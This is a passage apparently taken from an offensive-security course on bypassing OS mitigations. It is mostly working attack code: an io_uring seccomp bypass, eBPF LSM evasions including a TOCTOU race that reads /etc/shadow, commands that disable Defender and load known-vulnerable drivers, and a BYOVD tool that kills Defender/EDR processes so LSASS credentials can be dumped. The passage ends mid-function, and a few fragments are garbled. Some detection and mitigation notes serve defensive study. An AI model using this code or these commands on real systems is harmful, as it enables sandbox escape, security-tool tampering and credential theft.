struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_CONNECT;
sqe.fd = sockfd;
sqe.addr = (unsigned long)⌖
sqe.off = sizeof(target); // addr_len goes in off field
int ret = ring_submit_and_wait(ring, &sqe);
if (ret == 0 || ret == -EINPROGRESS) {
printf(" [+] IORING_OP_CONNECT succeeded! (seccomp bypassed)\n");
printf(" [+] Connected to %s:%d via io_uring\n", ip, port);
// Step 4: Send data via IORING_OP_SEND (bypasses blocked sendto)
const char *msg = "GET / HTTP/1.0\r\nHost: target\r\n\r\n";
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_SEND;
sqe.fd = sockfd;
sqe.addr = (unsigned long)msg;
sqe.len = strlen(msg);
int sent = ring_submit_and_wait(ring, &sqe);
if (sent > 0) {
printf(" [+] IORING_OP_SEND: sent %d bytes (seccomp bypassed)\n", sent);
}
// Step 5: Receive response via IORING_OP_RECV
char recvbuf[2048];
memset(recvbuf, 0, sizeof(recvbuf));
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_RECV;
sqe.fd = sockfd;
sqe.addr = (unsigned long)recvbuf;
sqe.len = sizeof(recvbuf) - 1;
int recvd = ring_submit_and_wait(ring, &sqe);
if (recvd > 0) {
printf(" [+] IORING_OP_RECV: received %d bytes\n", recvd);
printf(" [*] Response: %.80s...\n", recvbuf);
}
} else {
printf(" [-] IORING_OP_CONNECT failed: %s (%d)\n",
strerror(-ret), ret);
printf(" [*] Target may not be listening, or kernel 6.6+ blocks this\n");
}
// Close
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_CLOSE;
sqe.fd = sockfd;
ring_submit_and_wait(ring, &sqe);
return 0;
}
// ── BYPASS 3: Write file via io_uring (data exfiltration) ────
int bypass_file_write(struct io_ring *ring, const char *path, const char *data) {
printf("\n[*] BYPASS: Writing to '%s' via io_uring...\n", path);
// Open for writing via io_uring
struct io_uring_sqe sqe;
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_OPENAT;
sqe.fd = AT_FDCWD;
sqe.addr = (unsigned long)path;
sqe.open_flags = O_WRONLY | O_CREAT | O_TRUNC;
sqe.len = 0644; // mode
int fd = ring_submit_and_wait(ring, &sqe);
if (fd < 0) {
printf(" [-] IORING_OP_OPENAT (write) failed: %s\n", strerror(-fd));
return -1;
}
// Write via io_uring
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_WRITE;
sqe.fd = fd;
sqe.addr = (unsigned long)data;
sqe.len = strlen(data);
sqe.off = 0;
int written = ring_submit_and_wait(ring, &sqe);
if (written > 0) {
printf(" [+] Wrote %d bytes via IORING_OP_WRITE (seccomp bypassed)\n",
written);
}
// Close
memset(&sqe, 0, sizeof(sqe));
sqe.opcode = IORING_OP_CLOSE;
sqe.fd = fd;
ring_submit_and_wait(ring, &sqe);
return written;
}
void show_affected_applications() {
printf("\n[*] Applications vulnerable to io_uring seccomp bypass:\n\n");
printf("Container Runtimes:\n");
printf(" - Docker (default seccomp profile allowed io_uring until 2023)\n");
printf(" - Kubernetes (depends on SecurityContext)\n");
printf(" - containerd/runc\n\n");
printf("Browser Sandboxes:\n");
printf(" - Chromium (renderer sandbox may allow io_uring_setup)\n");
printf(" - Firefox (depends on configuration)\n\n");
printf("Other Sandboxed Apps:\n");
printf(" - Flatpak applications\n");
printf(" - Snap packages\n");
printf(" - systemd sandboxed services (SystemCallFilter=)\n\n");
printf("MITIGATION:\n");
printf(" - sysctl io_uring_disabled=2 (block for unprivileged users)\n");
printf(" - Add __NR_io_uring_setup to seccomp deny list\n");
printf(" - Use Landlock LSM for filesystem restrictions (not syscall-based)\n");
printf(" - Upgrade to Linux 6.6+ (seccomp enforcement for io_uring ops)\n");
}
int main() {
printf(" io_uring seccomp Bypass\n");
// Phase 1: Set up io_uring BEFORE installing seccomp
// (io_uring_setup itself might be blocked by seccomp, so init first)
struct io_ring ring;
if (ring_init(&ring, 16) < 0) {
printf("[-] io_uring_setup failed - not available on this kernel\n");
printf("[*] Requires Linux 5.1+ with io_uring enabled\n");
return 1;
}
printf("[+] io_uring ring initialized (fd=%d)\n", ring.ring_fd);
// Phase 2: Install seccomp sandbox that blocks open/read/write/connect
printf("[*] Installing seccomp sandbox...\n");
install_seccomp_sandbox();
// Phase 3: Demonstrate that normal syscalls are blocked
printf("\n[*] Verifying sandbox enforcement:\n");
int test = syscall(__NR_openat, AT_FDCWD, "/etc/hostname", O_RDONLY, 0);
printf(" openat(\"/etc/hostname\") = %d (errno=%d %s)\n",
test, errno, test < 0 ? "BLOCKED +" : "allowed?!");
// Phase 4: Bypass with io_uring!
printf("NOW BYPASSING SECCOMP VIA io_uring:\n");
// File read bypass - read /etc/hostname despite blocked openat+read
bypass_file_read(&ring, "/etc/hostname");
// File read bypass - try reading /etc/shadow (needs root)
if (geteuid() == 0) {
bypass_file_read(&ring, "/etc/shadow");
}
// File write bypass - write a proof file
bypass_file_write(&ring, "/tmp/uring_bypass_proof.txt",
"Written via io_uring - seccomp was bypassed!\n");
// Network bypass - connect to localhost:8080 (if anything listens)
bypass_network_connect(&ring, "127.0.0.1", 8080);
show_affected_applications();
printf("\n-----------------------------------------------------\n");
printf("RESULT: Performed file I/O and network I/O despite seccomp\n");
printf("blocking openat, read, write, connect, and sendto.\n");
printf("io_uring submission queue operations execute in kernel\n");
printf("worker context - seccomp BPF never inspects them.\n");
printf("-------------------------------------------------------\n");
// Cleanup
munmap(ring.sq_ring_ptr, ring.sq_ring_sz);
munmap(ring.sqes, ring.sqes_sz);
munmap(ring.cq_ring_ptr, ring.cq_ring_sz);
close(ring.ring_fd);
return 0;
}
Compile and Run:
cd ~/offensive_lab
gcc -o seccomp_io_uring_bypass seccomp_io_uring_bypass.c -lpthread
# in terminal 1
python3 -m http.server 8080
# in terminal 2
./seccomp_io_uring_bypass
# try enabling mitigation and test again
sudo sysctl -w kernel.io_uring_disabled=2
./seccomp_io_uring_bypass
// ~/offensive_lab/ebpf_lsm_evasion.c
// Compile: gcc -o ebpf_lsm_evasion ebpf_lsm_evasion.c -lpthread
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/uio.h> // for struct iovec, process_vm_readv
#include <linux/openat2.h> // for struct open_how
// TECHNIQUE 1: execveat() as alternative to execve()
// BPF LSM hooks: security_bprm_check_security
// But execveat with AT_EMPTY_PATH takes a different code path
// through the kernel that some BPF LSM policies miss.
int try_execveat(const char* binary) {
printf("[1] execveat() bypass for blocked execve()\n");
// Open the binary as a file descriptor first
int fd = open(binary, O_RDONLY | O_CLOEXEC);
if (fd < 0) {
printf(" [-] open(%s) failed: %s\n", binary, strerror(errno));
return -1;
}
printf(" [*] Opened %s as fd %d\n", binary, fd);
printf(" [*] Attempting execveat(fd, \"\", ..., AT_EMPTY_PATH)\n");
// execveat with AT_EMPTY_PATH executes the fd directly
// This bypasses filename-based BPF LSM checks because
// the LSM hook receives an empty path string
char *argv[] = { (char*)binary, NULL };
char *envp[] = { NULL };
// Fork so we don't replace ourselves
pid_t pid = fork();
if (pid == 0) {
syscall(SYS_execveat, fd, "", argv, envp, AT_EMPTY_PATH);
perror(" [-] execveat failed");
_exit(1);
} else if (pid > 0) {
int status;
waitpid(pid, &status, 0);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
printf(" [+] execveat succeeded - LSM hook bypassed!\n");
} else {
printf(" [-] execveat child exited with status %d\n",
WEXITSTATUS(status));
}
}
close(fd);
return 0;
}
// TECHNIQUE 2: openat2() with RESOLVE_NO_SYMLINKS
// Newer syscall that some BPF LSM policies don't hook
int try_openat2(const char* path) {
printf("\n[2] openat2() bypass for blocked open()/openat()\n");
struct open_how how = {
.flags = O_RDONLY,
.mode = 0,
.resolve = RESOLVE_NO_SYMLINKS, // Stricter path resolution
};
// openat2 is syscall 437 on x86_64
int fd = syscall(SYS_openat2, AT_FDCWD, path, &how, sizeof(how));
if (fd >= 0) {
printf(" [+] openat2(%s) succeeded - fd %d\n", path, fd);
// Read first 64 bytes as proof
char buf[65] = {0};
ssize_t n = read(fd, buf, 64);
if (n > 0)
printf(" [+] Read %zd bytes: %.32s...\n", n, buf);
close(fd);
return 0;
} else {
printf(" [-] openat2 failed: %s\n", strerror(errno));
return -1;
}
}
// TECHNIQUE 3: memfd_create + in-memory execution
// Bypass filesystem-based LSM checks entirely by never
// touching the filesystem - write ELF to memory, execute it
int try_memfd_exec(const char* source_binary) {
printf("\n[3] memfd_create() - execute binary from memory\n");
// Step 1: Read the source binary into a buffer
int src = open(source_binary, O_RDONLY);
if (src < 0) {
printf(" [-] Cannot read source binary: %s\n", strerror(errno));
return -1;
}
struct stat st;
fstat(src, &st);
void* buf = malloc(st.st_size);
read(src, buf, st.st_size);
close(src);
printf(" [*] Read %ld bytes from %s\n", st.st_size, source_binary);
// Step 2: Create anonymous memory-backed file descriptor
// MFD_CLOEXEC ensures fd doesn't leak to child processes
int memfd = syscall(SYS_memfd_create, "worker", MFD_CLOEXEC);
if (memfd < 0) {
printf(" [-] memfd_create failed: %s\n", strerror(errno));
free(buf);
return -1;
}
// Step 3: Write binary to memfd (no filesystem write!)
write(memfd, buf, st.st_size);
free(buf);
printf(" [+] Binary written to memfd (fd %d) - no disk I/O\n", memfd);
// Step 4: Execute via /proc/self/fd/N or fexecve
// BPF LSM file_open/security_bprm_check may not fire for memfd
pid_t pid = fork();
if (pid == 0) {
char fd_path[64];
snprintf(fd_path, sizeof(fd_path), "/proc/self/fd/%d", memfd);
char *argv[] = { (char*)source_binary, "--version", NULL };
char *envp[] = { NULL };
execve(fd_path, argv, envp);
perror(" [-] memfd execve failed");
_exit(1);
} else if (pid > 0) {
int status;
waitpid(pid, &status, 0);
printf(" [*] memfd child exited with status %d\n",
WEXITSTATUS(status));
}
close(memfd);
return 0;
}
// TECHNIQUE 4: process_vm_readv/writev instead of ptrace
// If ptrace is blocked by BPF LSM but process_vm_* is not
int try_process_vm_read(pid_t target_pid) {
printf("\n[4] process_vm_readv() bypass for blocked ptrace()\n");
// Read 256 bytes from target process's stack region
// Find a readable address from /proc/pid/maps
char maps_path[64];
snprintf(maps_path, sizeof(maps_path), "/proc/%d/maps", target_pid);
FILE* f = fopen(maps_path, "r");
if (!f) {
printf(" [-] Cannot read %s: %s\n", maps_path, strerror(errno));
return -1;
}
unsigned long addr = 0;
char line[512];
while (fgets(line, sizeof(line), f)) {
// Find first readable mapping (e.g., [stack] or r-- region)
if (strstr(line, "r-") || strstr(line, "r--")) {
sscanf(line, "%lx-", &addr);
break;
}
}
fclose(f);
if (!addr) {
printf(" [-] No readable mapping found\n");
return -1;
}
printf(" [*] Target PID %d, reading from 0x%lx\n", target_pid, addr);
// Set up iovec structures for process_vm_readv
char local_buf[256] = {0};
struct iovec local_iov = { .iov_base = local_buf, .iov_len = 256 };
struct iovec remote_iov = { .iov_base = (void*)addr, .iov_len = 256 };
ssize_t nread = process_vm_readv(target_pid, &local_iov, 1,
&remote_iov, 1, 0);
if (nread > 0) {
printf(" [+] process_vm_readv succeeded! Read %zd bytes\n", nread);
printf(" [+] ptrace() LSM hook bypassed\n");
// Hexdump first 32 bytes
printf(" [*] First 32 bytes: ");
for (int i = 0; i < 32 && i < nread; i++)
printf("%02x", (unsigned char)local_buf[i]);
printf("\n");
} else {
printf(" [-] process_vm_readv failed: %s\n", strerror(errno));
}
return 0;
}
// TECHNIQUE 5: TOCTOU race against BPF LSM path checks
// Challenge the LSM by changing a symlink between check and use
static volatile int race_running = 1;
void* race_symlink_thread(void* arg) {
const char* link_path = (const char*)arg;
const char* safe = "/dev/null";
const char* target = "/etc/shadow";
while (race_running) {
unlink(link_path);
symlink(safe, link_path); // Pass the BPF check
usleep(1); // Tight window
unlink(link_path);
symlink(target, link_path); // Swap to real target
usleep(1);
}
return NULL;
}
int try_toctou_race(void) {
printf("\n[5] TOCTOU race against BPF LSM path validation\n");
printf(" [*] Concept: BPF LSM checks path at hook time.\n");
printf(" If symlink changes between check and use,\n");
printf(" we access the real target with the safe verdict.\n");
char link_path[] = "/tmp/lsm_race_XXXXXX";
// mktemp is fine here - we want a known path we control
mktemp(link_path);
printf(" [*] Race link: %s\n", link_path);
printf(" [*] Swapping between /dev/null <-> /etc/shadow\n");
pthread_t racer;
pthread_create(&racer, NULL, race_symlink_thread, link_path);
// Try opening the link repeatedly - some attempts may
// pass the BPF check (seeing /dev/null) but actually
// open the real target (/etc/shadow) due to the race
int success = 0;
for (int i = 0; i < 10000; i++) {
int fd = open(link_path, O_RDONLY);
if (fd >= 0) {
char buf[64] = {0};
ssize_t n = read(fd, buf, sizeof(buf) - 1);
close(fd);
// Check if we got shadow file content (starts with "root:")
if (n > 0 && strncmp(buf, "root:", 5) == 0) {
success++;
if (success == 1)
printf(" [+] RACE WON at iteration %d!\n", i);
}
}
}
race_running = 0;
pthread_join(racer, NULL);
unlink(link_path);
if (success > 0)
printf(" [+] Race succeeded %d times out of 10000 attempts\n", success);
else
printf(" [-] Race did not succeed (BPF may recheck, or need root)\n");
return success;
}
int main(int argc, char* argv[]) {
// Technique 1: execveat bypass
try_execveat("/usr/bin/id");
// Technique 2: openat2 bypass
try_openat2("/etc/hostname");
// Technique 3: memfd in-memory execution
try_memfd_exec("/usr/bin/echo");
// Technique 4: process_vm_readv bypass (read our own process)
try_process_vm_read(getpid());
// Technique 5: TOCTOU race (requires root for /etc/shadow read)
if (geteuid() == 0) {
try_toctou_race();
} else {
printf("\n[5] TOCTOU race - skipped (requires root)\n");
}
printf("SUMMARY: Test each technique against your BPF LSM config.\n");
printf("Most policies hook the 'obvious' path (execve, open, ptrace)\n");
printf("but miss newer alternatives (execveat, openat2, process_vm_*).\n");
printf("Also consider: io_uring ops bypass BPF LSM entirely on\n");
printf("kernels < 6.6 (see io_uring lab in this course).\n");
return 0;
}
Windows AMSI Bypass:
NtProtectVirtualMemory to patch AmsiScanBufferLinux Security Bypass:
io_uring_disabled=0, bypass works on 6.6+execveat, openat2, process_vm_readv, memfd_createsysctl -w kernel.io_uring_disabled=2Cross-Platform Insights:
How would you detect AMSI bypass attempts in production?
NtProtectVirtualMemory calls targeting amsi.dll memory regionsAmsiScanBuffer returning E_INVALIDARG repeatedlyWhich bypass technique is most likely to evade EDR?
How does .NET AMSI differ from PowerShell AMSI?
What's the relationship between AMSI and ETW?
How would you bypass AMSI without compiling code?
Why does io_uring bypass seccomp? Is this a bug or design limitation?
io_uring_disabled=2 to fully mitigateHow would you detect io_uring-based sandbox escapes?
io_uring_setup() syscalls in sandboxed processesio_uring_disabled=2)Why did the TOCTOU race succeed 33.6% of the time?
What's the most effective defense against these bypasses?
io_uring_disabled=2 + Landlock LSM + AppArmor/SELinuxWindows uses PPL to protect:
Even as Administrator, you cannot inject into or dump memory from PPL processes. Red teamers need to bypass this.
Isolated Lab Environment
Administrator Privileges
Disable Security Features (Lab Only!)
# Disable Windows Defender (temporary, for lab)
Set-MpPreference -DisableRealtimeMonitoring $true
# Check if HVCI is enabled (blocks unsigned drivers)
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object -ExpandProperty SecurityServicesRunning
# If HVCI (2) is listed, you need to disable it or use test signing
Step 1: Download Drivers from LOLDrivers
# Create drivers directory
New-Item -ItemType Directory -Path "C:\Windows_Mitigations_Lab\drivers" -Force
cd C:\Windows_Mitigations_Lab\drivers
# Download K7RKScan.sys (K7 Computing - CVE-2025-52915)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/b16e217cdca19e00c1b68bdfb28ead53b20adeabd6edcd91542f9fbf48942877.bin" -OutFile "K7RKScan.sys"
# Download ksapi64.sys (Kingsoft)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/a7681a49d1ac6efb31409f17a7011a8b.bin" -OutFile "ksapi64.sys"
# Download BdApiUtil64.sys (Baidu)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/29e1264dd642b646fbef9bd347b1b860.bin" -OutFile "BdApiUtil64.sys"
# Download wamsdk.sys (WatchDog - newest, 2025)
Invoke-WebRequest -Uri "https://github.com/magicsword-io/LOLDrivers/raw/main/drivers/b6b51508ad6f462c45fe102c85d246c8.bin" -OutFile "wamsdk.sys"
# Verify signatures
Get-AuthenticodeSignature .\*.sys
Understanding the Attack Flow
┌─────────────────────────────────────────────────────────────────┐
│ PPL Bypass Attack Strategies │
├─────────────────────────────────────────────────────────────────┤
│ │
│ STRATEGY 1: Kill EDR/AV -> Dump LSASS (Recommended) │
│ ───────────────────────────────────────────────── │
│ 1. Use process termination driver to kill: │
│ - MsMpEng.exe (Windows Defender) - PPL-Antimalware │
│ - CrowdStrike, SentinelOne, Carbon Black agents │
│ - These are PPL but NOT critical processes │
│ 2. With EDR dead, dump LSASS normally: │
│ - MiniDumpWriteDump() now succeeds │
│ - No hooks to detect the dump │
│ │
│ STRATEGY 2: Crash System -> Extract from Dump │
│ ───────────────────────────────────────────── │
│ 1. Enable crash dumps: CrashDumpEnabled = 1 │
│ 2. Kill LSASS -> System crashes │
│ 3. After reboot, parse C:\Windows\MEMORY.DMP │
│ 4. Use volatility3: windows.hashdump │
│ │
│ STRATEGY 3: EPROCESS Patching (Best for LSASS) │
│ ───────────────────────────────────────────── │
│ 1. Use memory R/W driver (RTCore64, DBUtil) │
│ 2. Find LSASS EPROCESS in kernel memory │
│ 3. Zero the Protection field │
│ 4. Dump LSASS normally - no crash! │
│ │
└─────────────────────────────────────────────────────────────────┘
Step 2: Load and Use BdApiUtil64.sys
# Copy to drivers folder
Copy-Item "C:\Windows_Mitigations_Lab\drivers\BdApiUtil64.sys" -Destination "C:\Windows\System32\drivers\BdApiUtil64.sys"
# Create and start service
sc.exe create BdApiUtil64 type=kernel binPath="C:\Windows\System32\drivers\BdApiUtil64.sys"
sc.exe start BdApiUtil64
# Verify it's running
sc.exe query BdApiUtil64
Step 1: Load RTCore64.sys
# Download RTCore64.sys
Invoke-WebRequest -Uri "https://github.com/Processus-Thief/PsNotifRoutineUnloader/raw/main/RTCore64.sys" -OutFile "C:\Windows_Mitigations_Lab\drivers\RTCore64.sys"
# Copy and load
Copy-Item "C:\Windows_Mitigations_Lab\drivers\RTCore64.sys" -Destination "C:\Windows\System32\drivers\RTCore64.sys"
sc.exe create RTCore64 type=kernel binPath="C:\Windows\System32\drivers\RTCore64.sys"
sc.exe start RTCore64
# Verify
sc.exe query RTCore64
Cleanup After Testing
# Stop and remove all test drivers
$drivers = @("K7RKScan", "ksapi64", "BdApiUtil64", "wamsdk", "RTCore64")
foreach ($drv in $drivers) {
sc.exe stop $drv 2>$null
sc.exe delete $drv 2>$null
Remove-Item "C:\Windows\System32\drivers\$drv.sys" -Force -ErrorAction SilentlyContinue
}
# Disable test signing
bcdedit /set testsigning off
bcdedit /set nointegritychecks off
# Re-enable Defender
Set-MpPreference -DisableRealtimeMonitoring $false
Restart-Computer
┌─────────────────────────────────────────────────────────────────┐
│ Protected Process Light (PPL) │
├─────────────────────────────────────────────────────────────────┤
│ │
│ PPL Signer Levels (highest to lowest): │
│ ───────────────────────────────────── │
│ WinSystem (7) - Highest, kernel-level │
│ WinTcb (6) - Trusted Computer Base │
│ Windows (5) - Windows components │
│ Lsa (4) - LSASS specifically │
│ Antimalware (3) - AV/EDR processes │
│ Authenticode (2) - Signed by trusted CA │
│ CodeGen (1) - .NET native images │
│ None (0) - No protection │
│ │
│ Access Control: │
│ ├── Lower PPL cannot access higher PPL │
│ ├── Non-PPL cannot access any PPL │
│ └── Even Admin cannot inject into PPL processes │
└─────────────────────────────────────────────────────────────────┘
// ppl_checker.c - Check PPL status of processes
// Compile: cl src\ppl_checker.c /Fe:bin\ppl_check.exe advapi32.lib
// Run as Administrator!
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0,
PsProtectedSignerAuthenticode = 1,
PsProtectedSignerCodeGen = 2,
PsProtectedSignerAntimalware = 3,
PsProtectedSignerLsa = 4,
PsProtectedSignerWindows = 5,
PsProtectedSignerWinTcb = 6,
PsProtectedSignerWinSystem = 7,
PsProtectedSignerMax = 8
} PS_PROTECTED_SIGNER;
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1;
UCHAR Signer : 4;
};
};
} PS_PROTECTION;
typedef NTSTATUS (NTAPI *NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
#define ProcessProtectionInformation 61
const char* GetSignerName(UCHAR signer) {
switch (signer) {
case 0: return "None";
case 1: return "Authenticode";
case 2: return "CodeGen";
case 3: return "Antimalware";
case 4: return "Lsa";
case 5: return "Windows";
case 6: return "WinTcb";
case 7: return "WinSystem";
default: return "Unknown";
}
}
const char* GetTypeName(UCHAR type) {
switch (type) {
case 0: return "None";
case 1: return "PPL";
case 2: return "PP";
default: return "Unknown";
}
}
BOOL IsElevated() {
BOOL elevated = FALSE;
HANDLE token = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
TOKEN_ELEVATION elevation;
DWORD size;
if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) {
elevated = elevation.TokenIsElevated;
}
CloseHandle(token);
}
return elevated;
}
void CheckProcessPPL(DWORD pid, const char* name) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
return;
}
NtQueryInformationProcess_t NtQueryInformationProcess =
(NtQueryInformationProcess_t)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) {
CloseHandle(hProcess);
return;
}
PS_PROTECTION protection = {0};
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess, ProcessProtectionInformation,
&protection, sizeof(protection), &returnLength);
if (status == 0 && protection.Level != 0) {
printf("[%s] %s (PID %d): Signer=%s Level=0x%02X\n",
GetTypeName(protection.Type), name, pid,
GetSignerName(protection.Signer), protection.Level);
}
CloseHandle(hProcess);
}
int main() {
printf("=== PPL Process Scanner ===\n\n");
if (!IsElevated()) {
printf("[!] WARNING: Not running as Administrator!\n");
printf("[!] You may not see all protected processes.\n");
printf("[!] Run as Administrator for complete results.\n\n");
}
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
printf("[!] Failed to create process snapshot: %d\n", GetLastError());
return 1;
}
PROCESSENTRY32 pe = { sizeof(pe) };
printf("Scanning for protected processes...\n\n");
int count = 0;
if (Process32First(hSnapshot, &pe)) {
do {
CheckProcessPPL(pe.th32ProcessID, pe.szExeFile);
count++;
} while (Process32Next(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
printf("\n[*] Scanned %d processes\n", count);
printf("[*] To dump LSASS, you need to bypass PPL-Lsa protection\n");
printf("[*] Options: BYOVD, kernel driver, or PPL bypass techniques\n");
return 0;
}
Compile and Run:
cl src\ppl_checker.c /Fe:bin\ppl_check.exe advapi32.lib
# run from admin powershell
.\bin\ppl_check.exe
The exploit demonstrates PPL bypass, but LSASS must be running as PPL first. If you see Current PPL protection: 0x00, enable it:
Enable RunAsPPL via Registry:
# Enable LSASS PPL protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
# Verify the setting
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL
# Reboot required
shutdown /r /t 0
After reboot, verify PPL is active:
# Run the analyzer tool
.\bin\ppl_target_analyzer.exe
# You should see LSASS with:
# Type: Protected Light (PPL)
# Signer: Lsa (LSASS PPL)
# Level: 0x41
Disable PPL (for testing):
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /f
shutdown /r /t 0
To check if PPL is enabled:
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
// defender_killer_lsass_dump.c
// Compile: cl src\defender_killer_lsass_dump.c /Fe:bin\defender_killer.exe advapi32.lib dbghelp.lib
//
// Driver: BdApiUtil64.sys (Baidu AntiVirus)
// IOCTL: 0x800024B4 - Terminates any process by PID
// Device: \\.\BdApiUtil
//
// ATTACK FLOW:
// 1. Load BdApiUtil.sys (validly signed, no test signing!)
// 2. Kill Windows Defender (MsMpEng.exe) - PPL but not critical
// 3. Kill other EDR processes if present
// 4. Dump LSASS with MiniDumpWriteDump
// 5. Credentials can be extracted with pypykatz
//
// USAGE:
// 1. Download BdApiUtil64.sys from LOLDrivers
// 2. Place in same directory as this executable
// 3. Run as Administrator
// 4. Parse lsass.dmp with: pypykatz lsa minidump lsass.dmp
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <dbghelp.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "dbghelp.lib")
// BdApiUtil driver constants
#define BDAPI_DEVICE L"\\\\.\\BdApiUtil"
#define BDAPI_IOCTL 0x800024B4
#define BDAPI_SVC_NAME L"BdApiUtil64"
#define BDAPI_FILENAME L"BdApiUtil64.sys"
// EDR/AV targets - PPL protected but NOT critical (safe to kill)
const wchar_t* g_edr_targets[] = {
L"MsMpEng.exe", // Windows Defender - PRIMARY TARGET
L"MsSense.exe", // Defender ATP
L"SenseCncProxy.exe", // Defender ATP
L"SenseIR.exe", // Defender ATP
L"SecurityHealthService.exe", // Windows Security
L"smartscreen.exe", // SmartScreen
NULL
};
// Global driver handle
HANDLE g_hDriver = INVALID_HANDLE_VALUE;
BOOL IsRunningAsAdmin() {
BOOL isAdmin = FALSE;
PSID adminGroup = NULL;
SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
CheckTokenMembership(NULL, adminGroup, &isAdmin);
FreeSid(adminGroup);
}
return isAdmin;
}
DWORD FindProcessByName(const wchar_t* processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { sizeof(pe) };
DWORD pid = 0;
if (Process32FirstW(hSnapshot, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, processName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32NextW(hSnapshot, &pe));
}
CloseHandle(hSnapshot);
return pid;
}
BOOL LoadBdApiDriver(const wchar_t* driverPath) {
SC_HANDLE hSCManager = NULL;
SC_HANDLE hService = NULL;
BOOL success = FALSE;
printf("[*] Opening Service Control Manager...\n");
hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!hSCManager) {
printf("[-] OpenSCManager failed: %d\n", GetLastError());
return FALSE;
}
// Try to open existing service first
hService = OpenServiceW(hSCManager, BDAPI_SVC_NAME, SERVICE_ALL_ACCESS);
if (!hService) {
printf("[*] Creating service for BdApiUtil...\n");
hService = CreateServiceW(
hSCManager,
BDAPI_SVC_NAME,
BDAPI_SVC_NAME,
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_NORMAL,
driverPath,
NULL, NULL, NULL, NULL, NULL
);
if (!hService) {
printf("[-] CreateService failed: %d\n", GetLastError());
CloseServiceHandle(hSCManager);
return FALSE;
}
printf("[+] Service created\n");
} else {
printf("[*] Service already exists\n");
}
// Start the service
printf("[*] Starting driver...\n");
if (!StartServiceW(hService, 0, NULL)) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
printf("[*] Driver already running\n");
success = TRUE;
} else {
printf("[-] StartService failed: %d\n", err);
}
} else {
printf("[+] Driver started successfully\n");
success = TRUE;
}
CloseServiceHandle(hService);
CloseServiceHandle(hSCManager);
return success;
}
BOOL OpenDriverDevice() {
printf("[*] Opening driver device...\n");
g_hDriver = CreateFileW(
BDAPI_DEVICE,
GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (g_hDriver == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device %ls: %d\n", BDAPI_DEVICE, GetLastError());
return FALSE;
}
printf("[+] Device opened: %ls\n", BDAPI_DEVICE);
return TRUE;
}
BOOL KillProcess(DWORD pid) {
if (g_hDriver == INVALID_HANDLE_VALUE) {
printf("[-] Driver not opened\n");
return FALSE;
}
DWORD bytesReturned = 0;
DWORD outputBuffer = 0;
BOOL success = DeviceIoControl(
g_hDriver,
BDAPI_IOCTL,
&pid, sizeof(DWORD),
&outputBuffer, sizeof(DWORD),
&bytesReturned,
NULL
);
return success;
}
int KillEdrProcesses() {
int killed = 0;
printf("\n[*] Scanning for EDR/AV processes...\n");
for (int i = 0; g_edr_targets[i] != NULL; i++) {
DWORD pid = FindProcessByName(g_edr_targets[i]);
if (pid) {
